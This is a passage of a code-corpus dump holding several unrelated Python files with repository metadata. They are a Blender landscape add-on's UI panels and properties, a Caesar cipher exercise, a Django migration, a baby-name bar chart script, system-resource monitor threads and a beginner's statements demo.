AntMainSettingsPanel(bpy.types.Panel): bl_category = "Create" bl_label = "Landscape Main" bl_idname = "ANTLANDSCAPE_PT_main" bl_space_type = "VIEW_3D" bl_region_type = "UI" bl_options = {'DEFAULT_CLOSED'} @classmethod def poll(cls, context): ob = bpy.context.active_object return ob.ant_landscape.keys() if ob else False def draw(self, context): layout = self.layout scene = context.scene ob = bpy.context.active_object ant = ob.ant_landscape box = layout.box() col = box.column(align=False) col.scale_y = 1.5 col.operator('mesh.ant_landscape_regenerate', text="Regenerate", icon="LOOP_FORWARDS") row = box.row(align=True) split = row.split(align=True) split.prop(ant, "smooth_mesh", toggle=True, text="Smooth", icon='SHADING_SOLID') split.prop(ant, "tri_face", toggle=True, text="Triangulate", icon='MESH_DATA') if ant.sphere_mesh: split.prop(ant, "remove_double", toggle=True, text="Remove Doubles", icon='MESH_DATA') box.prop(ant, "ant_terrain_name") box.prop_search(ant, "land_material", bpy.data, "materials") col = box.column(align=True) col.prop(ant, "subdivision_x") col.prop(ant, "subdivision_y") col = box.column(align=True) if ant.sphere_mesh: col.prop(ant, "mesh_size") else: col.prop(ant, "mesh_size_x") col.prop(ant, "mesh_size_y") # Landscape Noise Settings class AntNoiseSettingsPanel(bpy.types.Panel): bl_category = "Create" bl_label = "Landscape Noise" bl_idname = "ANTLANDSCAPE_PT_noise" bl_space_type = "VIEW_3D" bl_region_type = "UI" bl_options = {'DEFAULT_CLOSED'} @classmethod def poll(cls, context): ob = bpy.context.active_object return ob.ant_landscape.keys() if ob else False def draw(self, context): layout = self.layout scene = context.scene ob = bpy.context.active_object ant = ob.ant_landscape box = layout.box() col = box.column(align=True) col.scale_y = 1.5 if ant.sphere_mesh: col.operator('mesh.ant_landscape_regenerate', text="Regenerate", icon="LOOP_FORWARDS") else: col.operator('mesh.ant_landscape_refresh', text="Refresh", icon="FILE_REFRESH") box.prop(ant, "noise_type") if ant.noise_type == "blender_texture": box.prop_search(ant, "texture_block", bpy.data, "textures") else: box.prop(ant, "basis_type") col = box.column(align=True) col.prop(ant, "random_seed") col = box.column(align=True) col.prop(ant, "noise_offset_x") col.prop(ant, "noise_offset_y") if ant.sphere_mesh: col.prop(ant, "noise_offset_z") col.prop(ant, "noise_size_x") col.prop(ant, "noise_size_y") if ant.sphere_mesh: col.prop(ant, "noise_size_z") col = box.column(align=True) col.prop(ant, "noise_size") col = box.column(align=True) if ant.noise_type == "multi_fractal": col.prop(ant, "noise_depth") col.prop(ant, "dimension") col.prop(ant, "lacunarity") elif ant.noise_type == "ridged_multi_fractal": col.prop(ant, "noise_depth") col.prop(ant, "dimension") col.prop(ant, "lacunarity") col.prop(ant, "offset") col.prop(ant, "gain") elif ant.noise_type == "hybrid_multi_fractal": col.prop(ant, "noise_depth") col.prop(ant, "dimension") col.prop(ant, "lacunarity") col.prop(ant, "offset") col.prop(ant, "gain") elif ant.noise_type == "hetero_terrain": col.prop(ant, "noise_depth") col.prop(ant, "dimension") col.prop(ant, "lacunarity") col.prop(ant, "offset") elif ant.noise_type == "fractal": col.prop(ant, "noise_depth") col.prop(ant, "dimension") col.prop(ant, "lacunarity") elif ant.noise_type == "turbulence_vector": col.prop(ant, "noise_depth") col.prop(ant, "amplitude") col.prop(ant, "frequency") col.separator() row = col.row(align=True) row.prop(ant, "hard_noise", expand=True) elif ant.noise_type == "variable_lacunarity": box.prop(ant, "vl_basis_type") box.prop(ant, "distortion") elif ant.noise_type == "marble_noise": box.prop(ant, "marble_shape") box.prop(ant, "marble_bias") box.prop(ant, "marble_sharp") col = box.column(align=True) col.prop(ant, "distortion") col.prop(ant, "noise_depth") col.separator() row = col.row(align=True) row.prop(ant, "hard_noise", expand=True) elif ant.noise_type == "shattered_hterrain": col.prop(ant, "noise_depth") col.prop(ant, "dimension") col.prop(ant, "lacunarity") col.prop(ant, "offset") col.prop(ant, "distortion") elif ant.noise_type == "strata_hterrain": col.prop(ant, "noise_depth") col.prop(ant, "dimension") col.prop(ant, "lacunarity") col.prop(ant, "offset") col.prop(ant, "distortion", text="Strata") elif ant.noise_type == "ant_turbulence": col.prop(ant, "noise_depth") col.prop(ant, "amplitude") col.prop(ant, "frequency") col.prop(ant, "distortion") col.separator() row = col.row(align=True) row.prop(ant, "hard_noise", expand=True) elif ant.noise_type == "vl_noise_turbulence": col.prop(ant, "noise_depth") col.prop(ant, "amplitude") col.prop(ant, "frequency") col.prop(ant, "distortion") col.separator() box.prop(ant, "vl_basis_type") col.separator() row = col.row(align=True) row.prop(ant, "hard_noise", expand=True) elif ant.noise_type == "vl_hTerrain": col.prop(ant, "noise_depth") col.prop(ant, "dimension") col.prop(ant, "lacunarity") col.prop(ant, "offset") col.prop(ant, "distortion") col.separator() box.prop(ant, "vl_basis_type") elif ant.noise_type == "distorted_heteroTerrain": col.prop(ant, "noise_depth") col.prop(ant, "dimension") col.prop(ant, "lacunarity") col.prop(ant, "offset") col.prop(ant, "distortion") col.separator() col.prop(ant, "vl_basis_type") elif ant.noise_type == "double_multiFractal": col.prop(ant, "noise_depth") col.prop(ant, "dimension") col.prop(ant, "lacunarity") col.prop(ant, "offset") col.prop(ant, "gain") col.separator() box.prop(ant, "vl_basis_type") elif ant.noise_type == "rocks_noise": col.prop(ant, "noise_depth") col.prop(ant, "distortion") col.separator() row = col.row(align=True) row.prop(ant, "hard_noise", expand=True) elif ant.noise_type == "slick_rock": col.prop(ant, "noise_depth") col.prop(ant, "dimension") col.prop(ant, "lacunarity") col.prop(ant, "gain") col.prop(ant, "offset") col.prop(ant, "distortion") col.separator() box.prop(ant, "vl_basis_type") elif ant.noise_type == "planet_noise": col.prop(ant, "noise_depth") col.separator() row = col.row(align=True) row.prop(ant, "hard_noise", expand=True) # Effects mix col = box.column(align=False) box.prop(ant, "fx_type") if ant.fx_type != "0": if int(ant.fx_type) <= 12: box.prop(ant, "fx_bias") box.prop(ant, "fx_mix_mode") col = box.column(align=True) col.prop(ant, "fx_mixfactor") col = box.column(align=True) col.prop(ant, "fx_loc_x") col.prop(ant, "fx_loc_y") col.prop(ant, "fx_size") col = box.column(align=True) col.prop(ant, "fx_depth") if ant.fx_depth != 0: col.prop(ant, "fx_frequency") col.prop(ant, "fx_amplitude") col.prop(ant, "fx_turb") col = box.column(align=True) row = col.row(align=True).split(factor=0.92, align=True) row.prop(ant, "fx_height") row.prop(ant, "fx_invert", toggle=True, text="", icon='ARROW_LEFTRIGHT') col.prop(ant, "fx_offset") # Landscape Displace Settings class AntDisplaceSettingsPanel(bpy.types.Panel): bl_category = "Create" bl_label = "Landscape Displace" bl_idname = "ANTLANDSCAPE_PT_disp" bl_space_type = "VIEW_3D" bl_region_type = "UI" bl_options = {'DEFAULT_CLOSED'} @classmethod def poll(cls, context): ob = bpy.context.active_object return ob.ant_landscape.keys() if ob else False def draw(self, context): layout = self.layout scene = context.scene ob = bpy.context.active_object ant = ob.ant_landscape box = layout.box() col = box.column(align=True) col.scale_y = 1.5 if ant.sphere_mesh: col.operator('mesh.ant_landscape_regenerate', text="Regenerate", icon="LOOP_FORWARDS") else: col.operator('mesh.ant_landscape_refresh', text="Refresh", icon="FILE_REFRESH") col = box.column(align=True) row = col.row(align=True).split(factor=0.92, align=True) row.prop(ant, "height") row.prop(ant, "height_invert", toggle=True, text="", icon='ARROW_LEFTRIGHT') col.prop(ant, "height_offset") col.prop(ant, "maximum") col.prop(ant, "minimum") if not ant.sphere_mesh: col = box.column() col.prop(ant, "edge_falloff") if ant.edge_falloff != "0": col = box.column(align=True) col.prop(ant, "edge_level") if ant.edge_falloff in ["2", "3"]: col.prop(ant, "falloff_x") if ant.edge_falloff in ["1", "3"]: col.prop(ant, "falloff_y") col = box.column() col.prop(ant, "strata_type") if ant.strata_type != "0": col = box.column() col.prop(ant, "strata") col = box.column() col.prop_search(ant, "vert_group", ob, "vertex_groups") # ------------------------------------------------------------ # Properties group class AntLandscapePropertiesGroup(bpy.types.PropertyGroup): ant_terrain_name: StringProperty( name="Name", default="Landscape" ) land_material: StringProperty( name='Material', default="", description="Terrain material" ) water_material: StringProperty( name='Material', default="", description="Water plane material" ) texture_block: StringProperty( name="Texture", default="" ) at_cursor: BoolProperty( name="Cursor", default=True, description="Place at cursor location", ) smooth_mesh: BoolProperty( name="Smooth", default=True, description="Shade smooth" ) tri_face: BoolProperty( name="Triangulate", default=False, description="Triangulate faces" ) sphere_mesh: BoolProperty( name="Sphere", default=False, description="Generate uv sphere - remove doubles when ready" ) subdivision_x: IntProperty( name="Subdivisions X", default=128, min=4, max=6400, description="Mesh X subdivisions" ) subdivision_y: IntProperty( default=128, name="Subdivisions Y", min=4, max=6400, description="Mesh Y subdivisions" ) mesh_size: FloatProperty( default=2.0, name="Mesh Size", min=0.01, max=100000.0, description="Mesh size" ) mesh_size_x: FloatProperty( default=2.0, name="Mesh Size X", min=0.01, description="Mesh x size" ) mesh_size_y: FloatProperty( name="Mesh Size Y", default=2.0, min=0.01, description="Mesh y size" ) random_seed: IntProperty( name="Random Seed", default=0, min=0, description="Randomize noise origin" ) noise_offset_x: FloatProperty( name="Offset X", default=0.0, description="Noise X Offset" ) noise_offset_y: FloatProperty( name="Offset Y", default=0.0, description="Noise Y Offset" ) noise_offset_z: FloatProperty( name="Offset Z", default=0.0, description="Noise Z Offset" ) noise_size_x: FloatProperty( default=1.0, name="Size X", min=0.01, max=1000.0, description="Noise x size" ) noise_size_y: FloatProperty( name="Size Y", default=1.0, min=0.01, max=1000.0, description="Noise y size" ) noise_size_z: FloatProperty( name="Size Z", default=1.0, min=0.01, max=1000.0, description="Noise Z size" ) noise_size: FloatProperty( name="Noise Size", default=1.0, min=0.01, max=1000.0, description="Noise size" ) noise_type: EnumProperty( name="Noise Type", default='hetero_terrain', description="Noise type", items = [ ('multi_fractal', "Multi Fractal", "Blender: Multi Fractal algorithm", 0), ('ridged_multi_fractal', "Ridged MFractal", "Blender: Ridged Multi Fractal", 1), ('hybrid_multi_fractal', "Hybrid MFractal", "Blender: Hybrid Multi Fractal", 2), ('hetero_terrain', "Hetero Terrain", "Blender: Hetero Terrain", 3), ('fractal', "fBm Fractal", "Blender: fBm - Fractional Browninian motion", 4), ('turbulence_vector', "Turbulence", "Blender: Turbulence Vector", 5), ('variable_lacunarity', "Distorted Noise", "Blender: Distorted Noise", 6), ('marble_noise', "Marble", "A.N.T.: Marble Noise", 7), ('shattered_hterrain', "Shattered hTerrain", "A.N.T.: Shattered hTerrain", 8), ('strata_hterrain', "Strata hTerrain", "A.N.T: Strata hTerrain", 9), ('ant_turbulence', "Another Noise", "A.N.T: Turbulence variation", 10), ('vl_noise_turbulence', "vlNoise turbulence", "A.N.T: Real vlNoise turbulence", 11), ('vl_hTerrain', "vlNoise hTerrain", "A.N.T: vlNoise hTerrain", 12), ('distorted_heteroTerrain', "Distorted hTerrain", "A.N.T distorted hTerrain", 13), ('double_multiFractal', "Double MultiFractal", "A.N.T: double multiFractal", 14), ('rocks_noise', "Noise Rocks", "A.N.T: turbulence variation", 15), ('slick_rock', "Slick Rock", "A.N.T: slick rock", 16), ('planet_noise', "Planet Noise", "Planet Noise by: Farsthary", 17), ('blender_texture', "Blender Texture - Texture Nodes", "Blender texture data block", 18)] ) basis_type: EnumProperty( name="Noise Basis", default=ant_noise.noise_basis_default, description="Noise basis algorithms", items = ant_noise.noise_basis ) vl_basis_type: EnumProperty( name="vlNoise Basis", default=ant_noise.noise_basis_default, description="VLNoise basis algorithms", items = ant_noise.noise_basis ) distortion: FloatProperty( name="Distortion", default=1.0, min=0.01, max=100.0, description="Distortion amount" ) hard_noise: EnumProperty( name="Soft Hard", default="0", description="Soft Noise, Hard noise", items = [ ("0", "Soft", "Soft Noise", 0), ("1", "Hard", "Hard noise", 1)] ) noise_depth: IntProperty( name="Depth", default=8, min=0, max=16, description="Noise Depth - number of frequencies in the fBm" ) amplitude: FloatProperty( name="Amp", default=0.5, min=0.01, max=1.0, description="Amplitude" ) frequency: FloatProperty( name="Freq", default=2.0, min=0.01, max=5.0, description="Frequency" ) dimension: FloatProperty( name="Dimension", default=1.0, min=0.01, max=2.0, description="H - fractal dimension of the roughest areas" ) lacunarity: FloatProperty( name="Lacunarity", min=0.01, max=6.0, default=2.0, description="Lacunarity - gap between successive frequencies" ) offset: FloatProperty( name="Offset", default=1.0, min=0.01, max=6.0, description="Offset - raises the terrain from sea level" ) gain: FloatProperty( name="Gain", default=1.0, min=0.01, max=6.0, description="Gain - scale factor" ) marble_bias: EnumProperty( name="Bias", default="0", description="Marble bias", items = [ ("0", "Sin", "Sin", 0), ("1", "Cos", "Cos", 1), ("2", "Tri", "Tri", 2), ("3", "Saw", "Saw", 3)] ) marble_sharp: EnumProperty( name="Sharp", default="0", description="Marble sharpness", items = [ ("0", "Soft", "Soft", 0), ("1", "Sharp", "Sharp", 1), ("2", "Sharper", "Sharper", 2), ("3", "Soft inv.", "Soft", 3), ("4", "Sharp inv.", "Sharp", 4), ("5", "Sharper inv.", "Sharper", 5)] ) marble_shape: EnumProperty( name="Shape", default="0", description="Marble shape", items= [ ("0", "Default", "Default", 0), ("1", "Ring", "Ring", 1), ("2", "Swirl", "Swirl", 2), ("3", "Bump", "Bump", 3), ("4", "Wave", "Wave", 4), ("5", "Z", "Z", 5), ("6", "Y", "Y", 6), ("7", "X", "X", 7)] ) height: FloatProperty( name="Height", default=0.5, min=-10000.0, max=10000.0, description="Noise intensity scale" ) height_invert: BoolProperty( name="Invert", default=False, description="Height invert", ) height_offset: FloatProperty( name="Offset", default=0.0, min=-10000.0, max=10000.0, description="Height offset" ) fx_mixfactor: FloatProperty( name="Mix Factor", default=0.0, min=-1.0, max=1.0, description="Effect mix factor: -1.0 = Noise, +1.0 = Effect" ) fx_mix_mode: EnumProperty( name="Effect Mix", default="0", description="Effect mix mode", items = [ ("0", "Mix", "Mix", 0), ("1", "Add", "Add", 1), ("2", "Sub", "Subtract", 2), ("3", "Mul", "Multiply", 3), ("4", "Abs", "Absolute", 4), ("5", "Scr", "Screen", 5), ("6", "Mod", "Modulo", 6), ("7", "Min", "Minimum", 7), ("8", "Max", "Maximum", 8) ] ) fx_type: EnumProperty( name="Effect Type", default="0", description="Effect type", items = [ ("0", "None", "No effect", 0), ("1", "Gradient", "Gradient", 1), ("2", "Waves", "Waves - Bumps", 2), ("3", "Zigzag", "Zigzag", 3), ("4", "Wavy", "Wavy", 4), ("5", "Bump", "Bump", 5), ("6", "Dots", "Dots", 6), ("7", "Rings", "Rings", 7), ("8", "Spiral", "Spiral", 8), ("9", "Square", "Square", 9), ("10", "Blocks", "Blocks", 10), ("11", "Grid", "Grid", 11), ("12", "Tech", "Tech", 12), ("13", "Crackle", "Crackle", 13), ("14", "Cracks", "Cracks", 14), ("15", "Rock", "Rock noise", 15), ("16", "Lunar", "Craters", 16), ("17", "Cosine", "Cosine", 17), ("18", "Spikey", "Spikey", 18), ("19", "Stone", "Stone", 19), ("20", "Flat Turb", "Flat turbulence", 20), ("21", "Flat Voronoi", "Flat voronoi", 21) ] ) fx_bias: EnumProperty( name="Effect Bias", default="0", description="Effect bias type", items = [ ("0", "Sin", "Sin", 0), ("1", "Cos", "Cos", 1), ("2", "Tri", "Tri", 2), ("3", "Saw", "Saw", 3), ("4", "None", "None", 4)] ) fx_turb: FloatProperty( name="Distortion", default=0.0, min=0.0, max=1000.0, description="Effect turbulence distortion" ) fx_depth: IntProperty( name="Depth", default=0, min=0, max=16, description="Effect depth - number of frequencies" ) fx_amplitude: FloatProperty( name="Amp", default=0.5, min=0.01, max=1.0, description="Amplitude" ) fx_frequency: FloatProperty( name="Freq", default=2.0, min=0.01, max=5.0, description="Frequency" ) fx_size: FloatProperty( name="Effect Size", default=1.0, min=0.01, max=1000.0, description="Effect size" ) fx_loc_x: FloatProperty( name="Offset X", default=0.0, description="Effect x offset" ) fx_loc_y: FloatProperty( name="Offset Y", default=0.0, description="Effect y offset" ) fx_height: FloatProperty( name="Intensity", default=1.0, min=-1000.0, max=1000.0, description="Effect intensity scale" ) fx_invert: BoolProperty( name="Invert", default=False, description="Effect invert" ) fx_offset: FloatProperty( name="Offset", default=0.0, min=-1000.0, max=1000.0, description="Effect height offset" ) edge_falloff: EnumProperty( name="Falloff", default="3", description="Flatten edges", items = [ ("0", "None", "None", 0), ("1", "Y", "Y Falloff", 1), ("2", "X", "X Falloff", 2), ("3", "X Y", "X Y Falloff", 3)] ) falloff_x: FloatProperty( name="Falloff X", default=4.0, min=0.1, max=100.0, description="Falloff x scale" ) falloff_y: FloatProperty( name="Falloff Y", default=4.0, min=0.1, max=100.0, description="Falloff y scale" ) edge_level: FloatProperty( name="Edge Level", default=0.0, min=-10000.0, max=10000.0, description="Edge level, sealevel offset" ) maximum: FloatProperty( name="Maximum", default=1.0, min=-10000.0, max=10000.0, description="Maximum, flattens terrain at plateau level" ) minimum: FloatProperty( name="Minimum", default=-1.0, min=-10000.0, max=10000.0, description="Minimum, flattens terrain at seabed level" ) vert_group: StringProperty( name="Vertex Group", default="" ) strata: FloatProperty( name="Amount", default=5.0, min=0.01, max=1000.0, description="Strata layers / terraces" ) strata_type: EnumProperty( name="Strata", default="0", description="Strata types", items = [ ("0", "None", "No strata", 0), ("1", "Smooth", "Smooth transitions", 1), ("2", "Sharp Sub", "Sharp subtract transitions", 2), ("3", "Sharp Add", "Sharp add transitions", 3), ("4", "Quantize", "Quantize", 4), ("5", "Quantize Mix", "Quantize mixed", 5)] ) water_plane: BoolProperty( name="Water Plane", default=False, description="Add water plane" ) water_level: FloatProperty( name="Level", default=0.01, min=-10000.0, max=10000.0, description="Water level" ) remove_double: BoolProperty( name="Remove Doubles", default=False, description="Remove doubles" ) refresh: BoolProperty( name="Refresh", default=False, description="Refresh" ) auto_refresh: BoolProperty( name="Auto", default=True, description="Automatic refresh" ) # ------------------------------------------------------------ # Register: classes = ( AntLandscapeAddPanel, AntLandscapeToolsPanel, AntMainSettingsPanel, AntNoiseSettingsPanel, AntDisplaceSettingsPanel, AntLandscapePropertiesGroup, add_mesh_ant_landscape.AntAddLandscape, mesh_ant_displace.AntMeshDisplace, ant_functions.AntLandscapeRefresh, ant_functions.AntLandscapeRegenerate, ant_functions.AntVgSlopeMap, ant_functions.Eroder, ) def register(): for cls in classes: bpy.utils.register_class(cls) bpy.types.VIEW3D_MT_mesh_add.append(menu_func_landscape) bpy.types.Object.ant_landscape = PointerProperty(type=AntLandscapePropertiesGroup, name="ANT_Landscape", description="Landscape properties") bpy.types.VIEW3D_MT_paint_weight.append(menu_func_eroder) def unregister(): for cls in reversed(classes): bpy.utils.unregister_class(cls) bpy.types.VIEW3D_MT_mesh_add.remove(menu_func_landscape) bpy.types.VIEW3D_MT_paint_weight.remove(menu_func_eroder) if __name__ == "__main__": register()
388430234a19c8d3bb7df514027066b68cf8fc68
3507fdc5012e55f6a784d70a7ad6da11224e5bfe
/caesar_cipher.py
2fa71c8cece652f7e97971c772561d702a65ad0c
[]
no_license
jonasthiel/100-days-of-code-python
640be865bdba10cca17ba72c4923cf9961ed570c
94ad366d10ed862c6c699ae1f242bd462f2ba597
refs/heads/main
2023-04-03T11:53:16.993098
2021-04-09T14:20:41
2021-04-09T14:20:41
330,404,825
0
0
null
null
null
null
UTF-8
Python
false
false
1,924
py
from os import system alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] logo = """ ,adPPYba, ,adPPYYba, ,adPPYba, ,adPPYba, ,adPPYYba, 8b,dPPYba, a8" "" "" `Y8 a8P_____88 I8[ "" "" `Y8 88P' "Y8 8b ,adPPPPP88 8PP""""""" `"Y8ba, ,adPPPPP88 88 "8a, ,aa 88, ,88 "8b, ,aa aa ]8I 88, ,88 88 `"Ybbd8"' `"8bbdP"Y8 `"Ybbd8"' `"YbbdP"' `"8bbdP"Y8 88 88 88 "" 88 88 ,adPPYba, 88 8b,dPPYba, 88,dPPYba, ,adPPYba, 8b,dPPYba, a8" "" 88 88P' "8a 88P' "8a a8P_____88 88P' "Y8 8b 88 88 d8 88 88 8PP""""""" 88 "8a, ,aa 88 88b, ,a8" 88 88 "8b, ,aa 88 `"Ybbd8"' 88 88`YbbdP"' 88 88 `"Ybbd8"' 88 88 88 """ end = False while not end: print(logo) direction = input("Type 'encode' to encrypt, type 'decode' to decrypt:\n") text = input("Type your message:\n").lower() shift = int(input("Type the shift number:\n")) def caesar(direction, text, shift): output_text = "" if shift > 26: shift %= 26 if direction == "encode": for i in text: if i in alphabet: index = alphabet.index(i) if index + shift > 25: output_text += alphabet[index + shift - 26] else: output_text += alphabet[index + shift] else: output_text += i elif direction == "decode": for i in text: if i in alphabet: index = alphabet.index(i) if index - shift < 0: output_text += alphabet[index - shift + 26] else: output_text += alphabet[index - shift] else: output_text += i print(f"The {direction}d text is {output_text}") caesar(direction, text, shift) if input("Type 'yes' if you want to go again. Otherwise type 'no'.\n").lower() == "no": end = True else: system('clear')
70425764af9a4af7b00d9a87514deba1e28c8fda
722af8e6fa81960a6119c2e45ba6795771bad595
/agents/migrations/0043_veri.py
a9fbb71d81b2b140fcb68e8c4a02de3f0a744641
[]
no_license
witty-technologies-empowerment/pmc
85d21fa3c360d40adeec7ca93792b5bc68c258e5
201bee60197240eec911637e136cf14bc5814eec
refs/heads/master
2023-05-27T12:37:48.894933
2021-06-13T04:34:57
2021-06-13T04:34:57
376,439,472
0
0
null
null
null
null
UTF-8
Python
false
false
790
py
# Generated by Django 2.2.6 on 2020-02-04 15:09 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('agents', '0042_auto_20191022_0303'), ] operations = [ migrations.CreateModel( name='Veri', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('user', models.CharField(max_length=20)), ('rcode', models.CharField(max_length=100)), ('count', models.CharField(default=1, max_length=2)), ('created', models.DateTimeField(auto_now_add=True)), ], options={ 'ordering': ['-created'], }, ), ]
4eaeed1619b3dcb639ee308019b90729a7124038
bfc1b107b2ce8c664b17be7d96b93bf69aaa8665
/lab_10_zadania/07.py
aea5b665b965041edf2d9d5e29141733e6f9acc7
[]
no_license
bulwan/wizualizacja_danych
db16c97da765646a71a8a794030f8014022cbc19
e305914105f42d22d42deb4e10a09b181534254f
refs/heads/main
2023-05-01T07:16:23.954859
2021-05-26T11:59:18
2021-05-26T11:59:18
346,389,677
0
0
null
null
null
null
UTF-8
Python
false
false
685
py
import pandas as pd import numpy as np import matplotlib.pyplot as plt plik = pd.ExcelFile('imiona.xlsx') imiona = pd.read_excel(plik,'Arkusz1') kobiet=imiona[(imiona.Plec=='K')] chlopcy=imiona[(imiona.Plec=='M')] wynik_dziewczynki = kobiet.groupby(['Rok']).sum() wynik_chlopcy = chlopcy.groupby(['Rok']).sum() wynik_dziewczynki=wynik_dziewczynki.reset_index() wynik_chlopcy=wynik_chlopcy.reset_index() plt.xticks(np.arange(2000, 2018, 1)) plt.bar(wynik_dziewczynki.Rok,wynik_dziewczynki.Liczba, label="dziewczynki", color='pink') plt.bar(wynik_chlopcy.Rok,wynik_chlopcy.Liczba, label="chlopcy", color='blue', bottom=wynik_dziewczynki.Liczba) plt.legend() plt.show()
6b89a26de0e8969a9ee0367e605d705f6c3df52f
c96199d8b0502fb590094d99b58df4aecadff932
/src/rysia/utils/monitor.py
773b97c1268666dc368fdb06535b3070eb4775a2
[ "Apache-2.0" ]
permissive
vdeuschle/rysia
1f8c6e8e6305d7c444107bbe5045f05f7e90ca22
c8c5adc2c770424b3a328a936f23a80a38c9f0f2
refs/heads/master
2020-06-26T01:37:59.823644
2019-08-25T23:12:30
2019-09-08T16:53:12
199,485,229
2
0
null
null
null
null
UTF-8
Python
false
false
5,647
py
# Copyright 2018 Vincent Deuschle. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). # You may not use this file except in compliance with the License. # A copy of the License is located at # # http://www.apache.org/licenses/LICENSE-2.0 # # or in the "license" file accompanying this file. This file is distributed # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either # express or implied. See the License for the specific language governing # permissions and limitations under the License. import time from typing import Optional import psutil as ps import boto3 from py3nvml.py3nvml import * from ..utils.misc import create_csv_string class Monitor(threading.Thread): def __init__(self, filename: str, aws: bool, bucketname: str) -> None: super(Monitor, self).__init__() self.running = False self.aws = aws if self.aws: self.s3_bucket = boto3.resource('s3').Bucket(bucketname) self.filename = filename def __enter__(self) -> None: self.start() def __exit__(self, *args) -> None: self.running = False self.join() def run(self) -> None: self.running = True self.acc = [] try: self.initialize() while self.running: time.sleep(1) self.execute() except (NVMLError, AttributeError, OSError) as e: self.acc += [[f'Monitor {self.__class__.__name__} failed to execute']] self.acc += [[str(e)]] finally: self.finalize() def initialize(self) -> None: raise NotImplementedError def execute(self) -> None: raise NotImplementedError def finalize(self) -> None: csv_string = create_csv_string(self.acc) if self.aws: self.s3_bucket.put_object(Key=self.filename, Body=csv_string) else: with open(self.filename, "w") as output: output.write(csv_string) class CPUMonitor(Monitor): def __init__(self, filename: str, aws: bool = False, bucketname: Optional[str] = None) -> None: super(CPUMonitor, self).__init__(filename, aws, bucketname) def initialize(self) -> None: cpu_count = ps.cpu_count() percent_label = [f'cpu{i}_percent' for i in range(cpu_count)] self.acc += [['timestamp', *percent_label, 'user_time', 'system_time']] def execute(self) -> None: timestamp = time.time() cpu_percent = ps.cpu_percent(percpu=True) cpu_times = ps.cpu_times() self.acc += [[timestamp, *cpu_percent, cpu_times[0], cpu_times[1]]] class MemoryMonitor(Monitor): def __init__(self, filename: str, aws: bool = False, bucketname: Optional[str] = None) -> None: super(MemoryMonitor, self).__init__(filename, aws, bucketname) def initialize(self) -> None: self.acc += [['timestamp', 'total_memory', 'available_memory', 'used_memory']] def execute(self) -> None: timestamp = time.time() memory_info = ps.virtual_memory() self.acc += [[timestamp, memory_info.total, memory_info.available, memory_info.percent]] class DiskIOMonitor(Monitor): def __init__(self, filename: str, aws: bool = False, bucketname: Optional[str] = None) -> None: super(DiskIOMonitor, self).__init__(filename, aws, bucketname) def initialize(self) -> None: self.acc += [['timestamp', 'read_count', 'write_count', 'read_bytes', 'write_bytes']] def execute(self) -> None: timestamp = time.time() diskIO = ps.disk_io_counters() self.acc += [[timestamp, diskIO.read_count, diskIO.write_count, diskIO.read_bytes, diskIO.write_bytes]] class GPUMonitor(Monitor): def __init__(self, filename: str, aws: bool = False, bucketname: Optional[str] = None) -> None: super(GPUMonitor, self).__init__(filename, aws, bucketname) def initialize(self) -> None: self.acc += [['timestamp', 'id', 'memory_used', 'memory_total', 'memory_util_rate', 'gpu_util_rate']] nvmlInit() self.deviceCount = nvmlDeviceGetCount() def execute(self) -> None: timestamp = time.time() for id in range(self.deviceCount): handle = nvmlDeviceGetHandleByIndex(id) memory_info = nvmlDeviceGetMemoryInfo(handle) gpu_info = nvmlDeviceGetUtilizationRates(handle) memory_used = memory_info.used memory_total = memory_info.total memory_util_rate = gpu_info.memory gpu_util_rate = gpu_info.gpu self.acc += [[timestamp, id, memory_used, memory_total, memory_util_rate, gpu_util_rate]]
a8e4ef9b084180f0b52f64f6f6095abcc3c4c3d1
05fdaa1d1762399ce4d2fe04c3427e5ecf0e6588
/ch10.statement/demo.py
55af869bfb1b0c80af45197a337a3ced4edb0fd0
[]
no_license
redice/learning
598398802779a5f0e5b9ab2f47667f87d8850d55
1240bb6b8d709055236f3d9eb0ad247d1aa182aa
refs/heads/master
2020-06-02T15:18:14.418812
2013-01-05T10:16:46
2013-01-05T10:16:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,674
py
import os,sys class MyDemo: def callWhile(self): while True: reply = input('Enter text:') if reply == 'stop': break elif not reply.isdigit(): print('Bad!' * 8) else: print(int(reply) ** 2) print('Bye') def callTryExcept(self): while True: reply = input('Enter text:') if reply == 'stop': break try: num = int(reply) except: print('Bad!' * 8) else: print(int(reply) ** 2) print('Bye') def callAssign(self): for (a,b,c) in [(1,2,3), (4,5,6)]: print("a = {0}, b = {1}, c = {2}".format(a,b,c)) for ((a,b), c) in [((1,2), 'aaa'), (('x', 'y'), 'good job')]: print("a = {0}, b = {1}, c = {2}".format(a,b,c)) def callWhile(self): L = [1, 2, 3, 4] while L: # front, L = L[0], L[1:] front = L.pop(0) print(front, L) L = [4, 5, 6, 7] while L: front, *L = L print(front, L) def callListConcatenation(self): L = M = [1, 2] M += [3, 4] print(L, M) L = M = [1, 2] M = M + [3, 4] print(L, M) def callPrint(self): x = 'abc' y = 99 z = ['1', 'cc'] print(x, y, z, sep=' => ', end = '...\n') print(x, y, z, sep=' => ', end = '...\n', file=open('output/data.txt', 'w')) def callWriteToFile(self): sys.stdout = open('output/data.txt', 'a') print('good', 'job', 'ya') def callStdOut(self): temp = sys.stdout sys.stdout = open('output/data.txt', 'a') print('good', 'job', '斌') sys.stdout.close() sys.stdout = temp print('張', '宏', '斌') if __name__ == '__main__': app = MyDemo() app.callStdOut()
9e4ad41b6887c4346466c3663aea990a64d2eca2
b0938f37ccaa7bdc363ef2bce03c172e521682d4
/Test_PR_curve.py
7ed9a83eaf41a0e65f3e9393f9d6679ae6b762a3
[]
no_license
neuhzhj2012/python-scripts
1c40ae8c2a1c75398723ee62c62ebc1f48b7136b
75050c0fa73e619f8823046d380cb15ba121d62b
refs/heads/master
2021-06-12T20:17:03.258332
2021-04-14T09:50:57
2021-04-14T09:50:57
180,062,098
2
1
null
null
null
null
UTF-8
Python
false
false
3,189
py
